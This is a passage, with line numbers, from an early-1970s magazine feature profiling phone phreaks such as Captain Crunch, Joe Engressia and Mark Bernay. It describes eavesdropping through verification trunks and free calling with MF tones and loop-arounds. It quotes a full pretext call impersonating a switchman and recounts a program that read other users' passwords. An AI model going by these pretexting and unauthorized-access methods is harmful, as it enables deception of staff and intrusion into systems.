  16600. that
  16601. holds verification jacks.  It allows them to plug into conversations in
  16602. case of
  16603. emergency, to listen in to a line to determine if the line is busy or the
  16604. circuits are busy.  Phone phreaks have learned to beep out the codes which
  16605. lead
  16606. them to a verification operator, tell the verification operator they are
  16607. switchmen from some other area code testing out verification trunks. Once
  16608. the
  16609. operator hooks them into the verification trunk, they disappear into the
  16610. board
  16611. for all practical purposes, slip unnoticed into any one of the 10,000 to
  16612. 100,000 numbers in that central office without the verification operator
  16613. knowing what they're doing, and of course without the two parties to the
  16614. connection knowing there is a phantom listener present on their line.
  16615.  
  16616. Toward the end of my hour-long first conversation with him, I asked the
  16617. Captain
  16618. if he ever tapped phones.
  16619.  
  16620. "Oh no.  I don't do that.  I don't think it's right," he told me firmly.
  16621. "I
  16622. have the power to do it but I don't... Well one time, just one time, I have
  16623. to
  16624. admit that I did.  There was this girl, Linda, and I wanted to find out...
  16625. you
  16626. know.  I tried to call her up for a date. I had a date with her the last
  16627. weekend and I thought she liked me.  I called her up, man, and her line was
  16628. busy, and I kept calling and it was still busy.  Well, I had just learned
  16629. about
  16630. this system of jumping into lines and I said to myself, 'Hmmm.  Why not
  16631. just
  16632.  
  16633.  
  16634. see if it works. It'll surprise her if all of a sudden I should pop up on
  16635. her
  16636. line. It'll impress her, if anything.'  So I went ahead and did it.  I
  16637. M-Fed
  16638. into the line.  My M-F-er is powerful enough when patched directly into the
  16639. mouthpiece to trigger a verification trunk without using an operator the
  16640. way
  16641. the other phone phreaks have to.
  16642.  
  16643. "I slipped into the line and there she was talking to another boyfriend.
  16644. Making sweet talk to him.  I didn't make a sound because I was so
  16645. disgusted.
  16646. So I waited there for her to hang up, listening to her making sweet talk to
  16647. the
  16648. other guy.  You know.  So as soon as she hung up I instantly M-F-ed her up
  16649. and
  16650. all I said was, 'Linda, we're through.'  And I hung up.  And it blew her
  16651. head
  16652. off.  She couldn't figure out what the hell happened.
  16653.  
  16654. "But that was the only time.  I did it thinking I would surprise her,
  16655. impress
  16656. her.  Those were all my intentions were, and well, it really kind of hurt
  16657. me
  16658. pretty badly, and... and ever since then I don't go into verification
  16659. trunks."
  16660.  
  16661. Moments later my first conversation with the Captain comes to a close.
  16662.  
  16663. "Listen," he says, his spirits somewhat cheered, "listen.  What you are
  16664. going
  16665. to hear when I hang up is the sound of tandems unstacking. Layer after
  16666. layer of
  16667. tandems unstacking until there's nothing left of the stack, until it melts
  16668. away
  16669. into nothing.  Cheep, cheep, cheep, cheep," he concludes, his voice
  16670. descending
  16671. to a whisper with each cheep.
  16672.  
  16673. He hangs up.  The phone suddenly goes into four spasms: kachink cheep.
  16674. Kachink
  16675. cheep kachink cheep kachink cheep, and the complex connection has wiped
  16676. itself
  16677. out like the Cheshire cat's smile.
  16678.  
  16679. The MF Boogie Blues
  16680.  
  16681. The next number I choose from the select list of phone-phreak alumni,
  16682. prepared
  16683. for me by the blue-box inventor, is a Memphis number.  It is the number of
  16684. Joe
  16685. Engressia, the first and still perhaps the most accomplished blind phone
  16686. phreak.
  16687.  
  16688. Three years ago Engressia was a nine-day wonder in newspapers and magazines
  16689. all
  16690. over America because he had been discovered whistling free long-distance
  16691. connections for fellow students at the University of South Florida.
  16692.  
  16693.  
  16694. Engressia
  16695. was born with perfect pitch: he could whistle phone tones better than the
  16696. phone-company's equipment.
  16697.  
  16698. Engressia might have gone on whistling in the dark for a few friends for
  16699. the
  16700. rest of his life if the phone company hadn't decided to expose him.  He was
  16701. warned, disciplined by the college, and the whole case became public.  In
  16702. the
  16703. months following media reports of his talent, Engressia began receiving
  16704. strange
  16705. calls.   There were calls from a group of kids in Los Angeles who could do
  16706. some
  16707. very strange things with the quirky General Telephone and Electronics
  16708. circuitry
  16709. in L.A. suburbs.  There were calls from a group of mostly blind kids in
  16710. ----,
  16711. California, who had been doing some interesting experiments with Cap'n
  16712. Crunch
  16713. whistles and test loops.  There was a group in Seattle, a group in
  16714. Cambridge,
  16715. Massachusetts, a few from New York, a few scattered across the country.
  16716. Some
  16717. of them had already equipped themselves with cassette and electronic M-F
  16718. devices.  For some of these groups, it was the first time they knew of the
  16719. others.
  16720.  
  16721. The exposure of Engressia was the catalyst that linked the separate
  16722. phone-phreak centers together.  They all called Engressia.  They talked to
  16723. him
  16724. about what he was doing and what they were doing.  And then he told them --
  16725. the
  16726. scattered regional centers and lonely independent phone phreakers -- about
  16727. each
  16728. other, gave them each other's numbers to call, and within a year the
  16729. scattered
  16730. phone-phreak centers had grown into a nationwide underground.
  16731.  
  16732. Joe Engressia is only twenty-two years old now, but along the phone-phreak
  16733. network he is "the old man," accorded by phone phreaks something of the
  16734. reverence the phone company bestows on Alexander Graham Bell.  He seldom
  16735. needs
  16736. to make calls anymore.  The phone phreaks all call him and let him know
  16737. what
  16738. new tricks, new codes, new techniques they have learned.  Every night he
  16739. sits
  16740. like a sightless spider in his little apartment receiving messages from
  16741. every
  16742. tendril of his web.  It is almost a point of pride with Joe that they call
  16743. him.
  16744.  
  16745. But when I reached him in his Memphis apartment that night, Joe Engressia
  16746. was
  16747. lonely, jumpy and upset.
  16748.  
  16749. "God, I'm glad somebody called.  I don't know why tonight of all nights I
  16750. don't
  16751. get any calls.  This guy around here got drunk again tonight and
  16752.  
  16753.  
  16754. propositioned
  16755. me again.  I keep telling him we'll never see eye to eye on this subject,
  16756. if
  16757. you know what I mean.  I try to make light of it, you know, but he doesn't
  16758. get
  16759. it.  I can head him out there getting drunker and I don't know what he'll
  16760. do
  16761. next.  It's just that I'm really all alone here, just moved to Memphis,
  16762. it's
  16763. the first time I'm living on my own, and I'd hate for it to all collapse
  16764. now.
  16765. But I won't go to bed with him.  I'm just not very interested in sex and
  16766. even
  16767. if I can't see him I know he's ugly.
  16768.  
  16769. "Did you hear that?  That's him banging a bottle against the wall outside.
  16770. He's nice.  Well forget about it.  You're doing a story on phone phreaks?
  16771. Listen to this.  It's the MF Boogie Blues.
  16772.  
  16773. Sure enough, a jumpy version of Muskrat Ramble boogies its way over the
  16774. line,
  16775. each note one of those long-distance phone tones.  The music stops.  A huge
  16776. roaring voice blasts the phone off my ear: "AND THE QUESTION IS..." roars
  16777. the
  16778. voice, "CAN A BLIND PERSON HOOK UP AN AMPLIFIER ON HIS OWN?"
  16779.  
  16780. The roar ceases.  A high-pitched operator-type voice replaces it. "This is
  16781. Southern Braille Tel. & Tel.  Have tone, will phone."
  16782.  
  16783. This is succeeded by a quick series of M-F tones, a swift "kachink" and a
  16784. deep
  16785. reassuring voice: "If you need home care, call the visiting-nurses
  16786. association.
  16787. First National time in Honolulu is 4:32 p.m."
  16788.  
  16789. Joe back in his Joe voice again: "Are we seeing eye to eye? 'Si, si,' said
  16790. the
  16791. blind Mexican.  Ahem.  Yes.  Would you like to know the weather in Tokyo?"
  16792.  
  16793. This swift manic sequence of phone-phreak vaudeville stunts and blind-boy
  16794. jokes
  16795. manages to keep Joe's mind off his tormentor only as long as it lasts.
  16796.  
  16797. "The reason I'm in Memphis, the reason I have to depend on that homosexual
  16798. guy,
  16799. is that this is the first time I've been able to live on my own and make
  16800. phone
  16801. trips on my own.  I've been banned from all central offices around home in
  16802. Florida, they knew me too well, and at the University some of my fellow
  16803. scholars were always harassing me because I was on the dorm pay phone all
  16804. the
  16805. time and making fun of me because of my fat ass, which of course I do have,
  16806. it's my physical fatness program, but I don't like to hear it every day,
  16807. and if
  16808. I can't phone trip and I can't phone phreak, I can't imagine what I'd do,
  16809. I've
  16810. been devoting three quarters of my life to it.
  16811.  
  16812.  
  16813.  
  16814. "I moved to Memphis because I wanted to be on my own as well as because it
  16815. has
  16816. a Number 5 crossbar switching system and some interesting little
  16817. independent
  16818. phone-company districts nearby and so far they don't seem to know who I am
  16819. so I
  16820. can go on phone tripping, and for me phone tripping is just as important as
  16821. phone phreaking."
  16822.  
  16823. Phone tripping, Joe explains, begins with calling up a central-office
  16824. switch
  16825. room.  He tells the switchman in a polite earnest voice that he's a blind
  16826. college student interested in telephones, and could he perhaps have a
  16827. guided
  16828. tour of the switching station?  Each step of the tour Joe likes to touch
  16829. and
  16830. feel relays, caress switching circuits, switchboards, crossbar
  16831. arrangements.
  16832.  
  16833. So when Joe Engressia phone phreaks he feels his way through the circuitry
  16834. of
  16835. the country garden of forking paths, he feels switches shift, relays shunt,
  16836. crossbars swivel, tandems engage and disengage even as he hears -- with
  16837. perfect
  16838. pitch -- his M-F pulses make the entire Bell system dance to his tune.
  16839.  
  16840. Just one month ago Joe took all his savings out of his bank and left home,
  16841. over
  16842. the emotional protests of his mother.  "I ran away from home almost," he
  16843. likes
  16844. to say.  Joe found a small apartment house on Union Avenue and began making
  16845. phone trips.  He'd take a bus a hundred miles south in Mississippi to see
  16846. some
  16847. old-fashioned Bell equipment still in use in several states, which had been
  16848. puzzling.  He'd take a bus three hundred miles to Charlotte, North
  16849. Carolina, to
  16850. look at some brand-new experimental equipment.  He hired a taxi to drive
  16851. him
  16852. twelve miles to a suburb to tour the office of a small phone company with
  16853. some
  16854. interesting idiosyncrasies in its routing system.  He was having the time
  16855. of
  16856. his life, he said, the most freedom and pleasure he had known.
  16857.  
  16858. In that month he had done very little long-distance phone phreaking from
  16859. his
  16860. own phone.  He had begun to apply for a job with the phone company, he told
  16861. me,
  16862. and he wanted to stay away from anything illegal.
  16863.  
  16864. "Any kind of job will do, anything as menial as the most lowly operator.
  16865. That's probably all they'd give me because I'm blind.  Even though I
  16866. probably
  16867. know more than most switchmen.  But that's okay.  I want to work for Ma
  16868. Bell.
  16869. I don't hate Ma Bell the way Gilbertson and some phone phreaks do.  I don't
  16870. want to screw Ma Bell.  With me it's the pleasure of pure knowledge.
  16871. There's
  16872.  
  16873.  
  16874. something beautiful about the system when you know it intimately the way I
  16875. do.
  16876. But I don't know how much they know about me here.  I have a very intuitive
  16877. feel for the condition of the line I'm on, and I think they're monitoring
  16878. me
  16879. off and on lately, but I haven't been doing much illegal.  I have to make a
  16880. few
  16881. calls to switchmen once in a while which aren't strictly legal, and once I
  16882. took
  16883. an acid trip and was having these auditory hallucinations as if I were
  16884. trapped
  16885. and these planes were dive-bombing me, and all of sudden I had to phone
  16886. phreak
  16887. out of there.  For some reason I had to call Kansas City, but that's all."
  16888.  
  16889. A Warning Is Delivered
  16890.  
  16891. At this point -- one o'clock in my time zone -- a loud knock on my
  16892. motel-room
  16893. door interrupts our conversation.  Outside the door I find a uniformed
  16894. security
  16895. guard who informs me that there has been an "emergency phone call" for me
  16896. while
  16897. I have been on the line and that the front desk has sent him up to let me
  16898. know.
  16899.  
  16900. Two seconds after I say good-bye to Joe and hang up, the phone rings.
  16901.  
  16902. "Who were you talking to?" the agitated voice demands.  The voice belongs
  16903. to
  16904. Captain Crunch.  "I called because I decided to warn you of something.  I
  16905. decided to warn you to be careful.  I don't want this information you get
  16906. to
  16907. get to the radical underground.  I don't want it to get into the wrong
  16908. hands.
  16909. What would you say if I told you it's possible for three phone phreaks to
  16910. saturate the phone system of the nation.  Saturate it.  Busy it out.  All
  16911. of
  16912. it.  I know how to do this.  I'm not gonna tell.  A friend of mine has
  16913. already
  16914. saturated the trunks between Seattle and New York.  He did it with a
  16915. computerized M-F-er hitched into a special Manitoba exchange.  But there
  16916. are
  16917. other, easier ways to do it."
  16918.  
  16919. Just three people?  I ask.  How is that possible?
  16920.  
  16921. "Have you ever heard of the long-lines guard frequency?  Do you know about
  16922. stacking tandems with 17 and 2600?  Well, I'd advise you to find out about
  16923. it.
  16924. I'm not gonna tell you.  But whatever you do, don't let this get into the
  16925. hands
  16926. of the radical underground."
  16927.  
  16928. (Later Gilbertson, the inventor, confessed that while he had always been
  16929. skeptical about the Captain's claim of the sabotage potential of
  16930. trunk-tying
  16931. phone phreaks, he had recently heard certain demonstrations which convinced
  16932.  
  16933.  
  16934. him
  16935. the Captain was not speaking idly. "I think it might take more than three
  16936. people, depending on how many machines like Captain Crunch's were
  16937. available.
  16938. But even though the Captain sounds a little weird, he generally turns out
  16939. to
  16940. know what he's talking about.")
  16941.  
  16942. "You know," Captain Crunch continues in his admonitory tone, "you know the
  16943. younger phone phreaks call Moscow all the time.  Suppose everybody were to
  16944. call
  16945. Moscow.  I'm no right-winger.  But I value my life.  I don't want the
  16946. Commies
  16947. coming over and dropping a bomb on my head. That's why I say you've got to
  16948. be
  16949. careful about who gets this information."
  16950.  
  16951. The Captain suddenly shifts into a diatribe against those phone phreaks who
  16952. don't like the phone company.
  16953.  
  16954. "They don't understand, but Ma Bell knows everything they do.  Ma Bell
  16955. knows.
  16956. Listen, is this line hot?  I just heard someone tap in.  I'm not paranoid,
  16957. but
  16958. I can detect things like that.  Well, even if it is, they know that I know
  16959. that
  16960. they know that I have a bulk eraser.  I'm very clean."  The Captain pauses,
  16961. evidently torn between wanting to prove to the phone-company monitors that
  16962. he
  16963. does nothing illegal, and the desire to impress Ma Bell with his prowess.
  16964. "Ma
  16965. Bell knows how good I am.  And I am quite good.  I can detect reversals,
  16966. tandem
  16967. switching, everything that goes on on a line.  I have relative pitch now.
  16968. Do
  16969. you know what that means?  My ears are a $20,000 piece of equipment.  With
  16970. my
  16971. ears I can detect things they can't hear with their equipment.  I've had
  16972. employment problems.  I've lost jobs.  But I want to show Ma Bell how good
  16973. I
  16974. am.  I don't want to screw her, I want to work for her.  I want to do good
  16975. for
  16976. her.  I want to help her get rid of her flaws and become perfect.  That's
  16977. my
  16978. number-one goal in life now."  The Captain concludes his warnings and tells
  16979. me
  16980. he has to be going.  "I've got a little action lined up for tonight," he
  16981. explains and hangs up.
  16982.  
  16983. Before I hang up for the night, I call Joe Engressia back.  He reports that
  16984. his
  16985. tormentor has finally gone to sleep -- "He's not blind drunk, that's the
  16986. way I
  16987. get, ahem, yes; but you might say he's in a drunken stupor."  I make a date
  16988. to
  16989. visit Joe in Memphis in two days.
  16990.  
  16991. A Phone Phreak Call Takes Care of Business
  16992.  
  16993.  
  16994. çThe next morning I attend a gathering of four phone phreaks in  ----- (a
  16995. California suburb).  The gathering takes place in a comfortable split-level
  16996. home in an upper-middle-class subdivision.  Heaped on the kitchen table are
  16997. the
  16998. portable cassette recorders, M-F cassettes, phone patches, and line ties of
  16999. the
  17000. four phone phreaks present.  On the kitchen counter next to the telephone
  17001. is a
  17002. shoe-box-size blue box with thirteen large toggle switches for the tones.
  17003. The
  17004. parents of the host phone phreak, Ralph, who is blind, stay in the living
  17005. room
  17006. with their sighted children.  They are not sure exactly what Ralph and his
  17007. friends do with the phone or if it's strictly legal, but he is blind and
  17008. they
  17009. are pleased he has a hobby which keeps him busy.
  17010.  
  17011. The group has been working at reestablishing the historic "2111"
  17012. conference,
  17013. reopening some toll-free loops, and trying to discover the dimensions of
  17014. what
  17015. seem to be new initiatives against phone phreaks by phone-company security
  17016. agents.
  17017.  
  17018. It is not long before I get a chance to see, to hear, Randy at work. Randy
  17019. is
  17020. known among the phone phreaks as perhaps the finest con man in the game.
  17021. Randy
  17022. is blind.  He is pale, soft and pear-shaped, he wears baggy pants and a
  17023. wrinkly
  17024. nylon white sport shirt, pushes his head forward from hunched shoulders
  17025. somewhat like a turtle inching out of its shell.  His eyes wander, crossing
  17026. and
  17027. recrossing, and his forehead is somewhat pimply.  He is only sixteen years
  17028. old.
  17029.  
  17030. But when Randy starts speaking into a telephone mouthpiece his voice
  17031. becomes so
  17032. stunningly authoritative it is necessary to look again to convince yourself
  17033. it
  17034. comes from a chubby adolescent Randy.  Imagine the voice of a crack oil-rig
  17035. foreman, a tough, sharp, weather-beaten Marlboro man of forty.  Imagine the
  17036. voice of a brilliant performance-fund gunslinger explaining how he beats
  17037. the
  17038. Dow Jones by thirty percent.  Then imagine a voice that could make those
  17039. two
  17040. sound like Stepin Fetchit.  That is sixteen-year-old Randy's voice.
  17041.  
  17042. He is speaking to a switchman in Detroit.  The phone company in Detroit had
  17043. closed up two toll-free loop pairs for no apparent reason, although heavy
  17044. use
  17045. by phone phreaks all over the country may have been detected.  Randy is
  17046. telling
  17047. the switchman how to open up the loop and make it free again:
  17048.  
  17049. "How are you, buddy.  Yeah. I'm on the board in here in Tulsa, Oklahoma,
  17050. and
  17051. we've been trying to run some tests on your loop-arounds and we find'em
  17052.  
  17053.  
  17054. busied
  17055. out on both sides.... Yeah, we've been getting a 'BY' on them, what d'ya
  17056. say,
  17057. can you drop cards on 'em?  Do you have 08 on your number group?  Oh that's
  17058. okay, we've had this trouble before, we may have to go after the circuit.
  17059. Here
  17060. lemme give 'em to you: your frame is 05, vertical group 03, horizontal 5,
  17061. vertical file 3.  Yeah, we'll hang on here.... Okay, found it?  Good.
  17062. Right,
  17063. yeah, we'd like to clear that busy out.  Right.  All you have to do is look
  17064. for
  17065. your key on the mounting plate, it's in your miscellaneous trunk frame.
  17066. Okay?
  17067. Right.  Now pull your key from NOR over the LCT.  Yeah. I don't know why
  17068. that
  17069. happened, but we've been having trouble with that one.  Okay.  Thanks a lot
  17070. fella.  Be seein' ya."
  17071.  
  17072. Randy hangs up, reports that the switchman was a little inexperienced with
  17073. the
  17074. loop-around circuits on the miscellaneous trunk frame, but that the loop
  17075. has
  17076. been returned to its free-call status.
  17077.  
  17078. Delighted, phone phreak Ed returns the pair of numbers to the active-status
  17079. column in his directory.  Ed is a superb and painstaking researcher.  With
  17080. almost Talmudic thoroughness he will trace tendrils of hints through
  17081. soft-wired
  17082. mazes of intervening phone-company circuitry back through complex linkages
  17083. of
  17084. switching relays to find the location and identity of just one toll-free
  17085. loop.
  17086. He spends hours and hours, every day, doing this sort of thing.  He has
  17087. somehow
  17088. compiled a directory of eight hundred "Band-six in-WATS numbers" located in
  17089. over forty states.  Band-six in-WATS numbers are the big 800 numbers -- the
  17090. ones that can be dialed into free from anywhere in the country.
  17091.  
  17092. Ed the researcher, a nineteen-year-old engineering student, is also a
  17093. superb
  17094. technician.  He put together his own working blue box from scratch at age
  17095. seventeen.  (He is sighted.)  This evening after distributing the latest
  17096. issue
  17097. of his in-WATS directory (which has been typed into Braille for the blind
  17098. phone
  17099. phreaks), he announces he has made a major new breakthrough:
  17100.  
  17101. "I finally tested it and it works, perfectly. I've got this switching
  17102. matrix
  17103. which converts any touch-tone phone into an M-F-er."
  17104.  
  17105. The tones you hear in touch-tone phones are not the M-F tones that operate
  17106. the
  17107. long-distance switching system.  Phone phreaks believe A.T.&T. had
  17108. deliberately
  17109. equipped touch tones with a  different set of frequencies to avoid putting
  17110. the
  17111. six master M-F tones in the hands of every touch-tone owner.  Ed's complex
  17112.  
  17113.  
  17114. switching matrix puts the six master tones, in effect put a blue box, in
  17115. the
  17116. hands of every touch-tone owner.
  17117.  
  17118. Ed shows me pages of schematics, specifications and parts lists. "It's not
  17119. easy
  17120. to build, but everything here is in the Heathkit catalog."
  17121.  
  17122. Ed asks Ralph what progress he has made in his attempts to reestablish a
  17123. long-term open conference line for phone phreaks.  The last big conference
  17124. --
  17125. the historic "2111" conference -- had been arranged through an unused Telex
  17126. test-board trunk somewhere in the innards of a 4A switching machine in
  17127. Vancouver, Canada.  For months phone phreaks could M-F their way into
  17128. Vancouver, beep out 604 (the Vancouver area code) and then beep out 2111
  17129. (the
  17130. internal phone-company code for Telex testing), and find themselves at any
  17131. time, day or night, on an open wire talking with an array of phone phreaks
  17132. from
  17133. coast to coast, operators from Bermuda, Tokyo and London who are
  17134. phone-phreak
  17135. sympathizers, and miscellaneous guests and technical experts.  The
  17136. conference
  17137. was a massive exchange of information.  Phone phreaks picked each other's
  17138. brains clean, then developed new ways to pick the phone company's brains
  17139. clean.
  17140. Ralph gave M F Boogies concerts with his home-entertainment-type electric
  17141. organ, Captain Crunch demonstrated his round-the-world prowess with his
  17142. notorious computerized unit and dropped leering hints of the "action" he
  17143. was
  17144. getting with his girl friends.  (The Captain lives out or pretends to live
  17145. out
  17146. several kinds of fantasies to the gossipy delight of the blind phone
  17147. phreaks
  17148. who urge him on to further triumphs on behalf of all of them.)  The
  17149. somewhat
  17150. rowdy Northwest phone-phreak crowd let their bitter internal feud spill
  17151. over
  17152. into the peaceable conference line, escalating shortly into guerrilla
  17153. warfare;
  17154. Carl the East Coast international tone relations expert demonstrated newly
  17155. opened direct M-F routes to central offices on the island of Bahrein in the
  17156. Persian Gulf, introduced a new phone-phreak friend of his in Pretoria, and
  17157. explained the technical operation of the new Oakland-to Vietnam linkages.
  17158. (Many phone phreaks pick up spending money by M-F-ing calls from relatives
  17159. to
  17160. Vietnam G.I.'s, charging $5 for a whole hour of trans-Pacific
  17161. conversation.)
  17162.  
  17163. Day and night the conference line was never dead.  Blind phone phreaks all
  17164. over
  17165. the country, lonely and isolated in homes filled with active sighted
  17166. brothers
  17167. and sisters, or trapped with slow and unimaginative blind kids in
  17168. straitjacket
  17169. schools for the blind, knew that no matter how late it got they could dial
  17170. up
  17171. the conference and find instant electronic communion with two or three
  17172.  
  17173.  
  17174. other
  17175. blind kids awake over on the other side of America.  Talking together on a
  17176. phone hookup, the blind phone phreaks say, is not much different from being
  17177. there together. Physically, there was nothing more than a two-inch-square
  17178. wafer
  17179. of titanium inside a vast machine on Vancouver Island.  For the blind kids
  17180. >there< meant an exhilarating feeling of being in touch, through a kind of
  17181. skill and magic which was peculiarly their own.
  17182.  
  17183. Last April 1, however, the long Vancouver Conference was shut off. The
  17184. phone
  17185. phreaks knew it was coming.  Vancouver was in the process of converting
  17186. from a
  17187. step-by-step system to a 4A machine and the 2111 Telex circuit was to be
  17188. wiped
  17189. out in the process.  The phone phreaks learned the actual day on which the
  17190. conference would be erased about a week ahead of time over the phone
  17191. company's
  17192. internal-news-and-shop-talk recording.
  17193.  
  17194. For the next frantic seven days every phone phreak in America was on and
  17195. off
  17196. the 2111 conference twenty-four hours a day.  Phone phreaks who were just
  17197. learning the game or didn't have M-F capability were boosted up to the
  17198. conference by more experienced phreaks so they could get a glimpse of what
  17199. it
  17200. was like before it disappeared.  Top phone phreaks searched distant area
  17201. codes
  17202. for new conference possibilities without success.  Finally in the early
  17203. morning
  17204. of April 1, the end came.
  17205.  
  17206. "I could feel it coming a couple hours before midnight," Ralph remembers.
  17207. "You
  17208. could feel something going on in the lines.  Some static began showing up,
  17209. then
  17210. some whistling wheezing sound.  Then there were breaks.  Some people got
  17211. cut
  17212. off and called right back in, but after a while some people were finding
  17213. they
  17214. were cut off and couldn't get back in at all.  It was terrible.  I lost it
  17215. about one a.m., but managed to slip in again and stay on until the thing
  17216. died... I think it was about four in the morning.  There were four of us
  17217. still
  17218. hanging on when the conference disappeared into nowhere for good.  We all
  17219. tried
  17220. to M-F up to it again of course, but we got silent termination.  There was
  17221. nothing there."
  17222.  
  17223. The Legendary Mark Bernay Turns Out To Be "The Midnight Skulker"
  17224.  
  17225. Mark Bernay.  I had come across that name before.  It was on Gilbertson's
  17226. select list of phone phreaks.  The California phone phreaks had spoken of a
  17227. mysterious Mark Bernay as perhaps the first and oldest phone phreak on the
  17228. West
  17229. Coast.  And in fact almost every phone phreak in the West can trace his
  17230. origins
  17231. either directly to Mark Bernay or to a disciple of Mark Bernay.
  17232.  
  17233.  
  17234. çIt seems that five years ago this Mark Bernay (a pseudonym he chose for
  17235. himself) began traveling up and down the West Coast pasting tiny stickers
  17236. in
  17237. phone books all along his way.  The stickers read something like "Want to
  17238. hear
  17239. an interesting tape recording? Call these numbers."  The numbers that
  17240. followed
  17241. were toll-free loop-around pairs. When one of the curious called one of the
  17242. numbers he would hear a tape recording pre-hooked into the loop by Bernay
  17243. which
  17244. explained the use of loop-around pairs, gave the numbers of several more,
  17245. and
  17246. ended by telling the caller, "At six o'clock tonight this recording will
  17247. stop
  17248. and you and your friends can try it out.  Have fun."
  17249.  
  17250. "I was disappointed by the response at first," Bernay told me, when I
  17251. finally
  17252. reached him at one of his many numbers and he had dispensed with the usual
  17253. "I
  17254. never do anything illegal" formalities which experienced phone phreaks open
  17255. most conversations.
  17256.  
  17257. "I went all over the coast with these stickers not only on pay phones, but
  17258. I'd
  17259. throw them in front of high schools in the middle of the night, I'd leave
  17260. them
  17261. unobtrusively in candy stores, scatter them on main streets of small towns.
  17262. At
  17263. first hardly anyone bothered to try it out.  I would listen in for hours
  17264. and
  17265. hours after six o'clock and no one came on.  I couldn't figure out why
  17266. people
  17267. wouldn't be interested.  Finally these two girls in Oregon tried it out and
  17268. told all their friends and suddenly it began to spread."
  17269.  
  17270. Before his Johny Appleseed trip Bernay had already gathered a sizable group
  17271. of
  17272. early pre-blue-box phone phreaks together on loop-arounds in Los Angeles.
  17273. Bernay does not claim credit for the original discovery of the loop-around
  17274. numbers.  He attributes the discovery to an eighteen-year-old reform school
  17275. kid
  17276. in Long Beach whose name he forgets and who, he says, "just disappeared one
  17277. day."  When Bernay himself discovered loop-arounds independently, from
  17278. clues in
  17279. his readings in old issues of the Automatic Electric Technical Journal, he
  17280. found dozens of the reform-school kid's friends already using them.
  17281. However, it
  17282. was one of Bernay's disciples in Seattle that introduced phone phreaking to
  17283. blind kids.  The Seattle kid who learned about loops through Bernay's
  17284. recording
  17285. told a blind friend, the blind kid taught the secret to his friends at a
  17286. winter
  17287. camp for blind kids in Los Angeles.  When the camp session was over these
  17288. kids
  17289. took the secret back to towns all over the West.  This is how the original
  17290. blind kids became phone phreaks.  For them, for most phone phreaks in
  17291. general,
  17292.  
  17293.  
  17294. it was the discovery of the possibilities of loop-arounds which led them on
  17295. to
  17296. far more serious and sophisticated phone-phreak methods, and which gave
  17297. them a
  17298. medium for sharing their discoveries.
  17299.  
  17300. A year later a blind kid who moved back east brought the technique to a
  17301. blind
  17302. kids' summer camp in Vermont, which spread it along the East Coast.  All
  17303. from a
  17304. Mark Bernay sticker.
  17305.  
  17306. Bernay, who is nearly thirty years old now, got his start when he was
  17307. fifteen
  17308. and his family moved into an L.A. suburb serviced by General Telephone and
  17309. Electronics equipment.  He became fascinated with the differences between
  17310. Bell
  17311. and G.T.&E. equipment.  He learned he could make interesting things happen
  17312. by
  17313. carefully timed clicks with the disengage button.  He learned to interpret
  17314. subtle differences in the array of clicks, whirrs and kachinks he could
  17315. hear on
  17316. his lines.  He learned he could shift himself around the switching relays
  17317. of
  17318. the L.A. area code in a not-too-predictable fashion by interspersing his
  17319. own
  17320. hook-switch clicks with the clicks within the line. (Independent phone
  17321. companies -- there are nineteen hundred of them still left, most of them
  17322. tiny
  17323. island principalities in Ma Bell's vast empire -- have always been
  17324. favorites
  17325. with phone phreaks, first as learning tools, then as Archimedes platforms
  17326. from
  17327. which to manipulate the huge Bell system.  A phone phreak in Bell territory
  17328. will often M-F himself into an independent's switching system, with
  17329. switching
  17330. idiosyncrasies which can give him marvelous leverage over the Bell System.
  17331.  
  17332. "I have a real affection for Automatic Electric Equipment," Bernay told me.
  17333. "There are a lot of things you can play with.  Things break down in
  17334. interesting
  17335. ways."
  17336.  
  17337. Shortly after Bernay graduated from college (with a double major in
  17338. chemistry
  17339. and philosophy), he graduated from phreaking around with G.T.&E. to the
  17340. Bell
  17341. System itself, and made his legendary sticker-pasting journey north along
  17342. the
  17343. coast, settling finally in Northwest Pacific Bell territory.  He discovered
  17344. that if Bell does not break down as interestingly as G.T.&E., it
  17345. nevertheless
  17346. offers a lot of "things to play with."
  17347.  
  17348. Bernay learned to play with blue boxes.  He established his own personal
  17349. switchboard and phone-phreak research laboratory complex.  He continued his
  17350. phone-phreak evangelism with ongoing sticker campaigns. He set up two
  17351. recording
  17352.  
  17353.  
  17354. numbers, one with instructions for beginning phone phreaks, the other with
  17355. latest news and technical developments (along with some advanced
  17356. instruction)
  17357. gathered from sources all over the country.
  17358.  
  17359. These days, Bernay told me, he had gone beyond phone-phreaking itself.
  17360. "Lately
  17361. I've been enjoying playing with computers more than playing with phones.
  17362. My
  17363. personal thing in computers is just like with phones, I guess -- the kick
  17364. is in
  17365. finding out how to beat the system, how to get at things I'm not supposed
  17366. to
  17367. know about, how to do things with the system that I'm not supposed to be
  17368. able
  17369. to do."
  17370.  
  17371. As a matter of fact, Bernay told me, he had just been fired from his
  17372. computer-programming job for doing things he was not supposed to be able to
  17373. do.
  17374. he had been working with a huge time-sharing computer owned by a large
  17375. corporation but shared by many others.  Access to the computer was limited
  17376. to
  17377. those programmers and corporations that had been assigned certain
  17378. passwords.
  17379. And each password restricted its user to access to only the one section of
  17380. the
  17381. computer cordoned off from its own information storager.  The password
  17382. system
  17383. prevented companies and individuals from stealing each other's information.
  17384.  
  17385. "I figured out how to write a program that would let me read everyone
  17386. else's
  17387. password," Bernay reports.  "I began playing around with passwords.  I
  17388. began
  17389. letting the people who used the computer know, in subtle ways, that I knew
  17390. their passwords.  I began dropping notes to the computer supervisors with
  17391. hints
  17392. that I knew what I know. I signed them 'The Midnight Skulker.'  I kept
  17393. getting
  17394. cleverer and cleverer with my messages and devising ways of showing them
  17395. what I
  17396. could do. I'm sure they couldn't imagine I could do the things I was
  17397. showing
  17398. them.  But they never responded to me.  Every once in a while they'd change
  17399. the
  17400. passwords, but I found out how to discover what the new ones were, and I
  17401. let
  17402. them know.  But they never responded directly to the Midnight Skulker.  I
  17403. even
  17404. finally designed a program which they could use to prevent my program from
  17405. finding out what it did.  In effect I told them how to wipe me out, The
  17406. Midnight Skulker.  It was a very clever program.  I started leaving clues
  17407. about
  17408. myself.  I wanted them to try and use it and then try to come up with
  17409. something
  17410. to get around that and reappear again.  But they wouldn't play.  I wanted
  17411. to
  17412.  
  17413.  
  17414. get caught.  I mean I didn't want to get caught personally, but I wanted
  17415. them
  17416. to notice me and admit that they noticed me.  I wanted them to attempt to
  17417. respond, maybe in some interesting way."
  17418. Finally the computer managers became concerned enough about the threat of
  17419. information-stealing to respond.  However, instead of using The Midnight
  17420. Skulker's own elegant self-destruct program, they called in their security
  17421. personnel, interrogated everyone, found an informer to identify Bernay as
  17422. The
  17423. Midnight Skulker, and fired him.
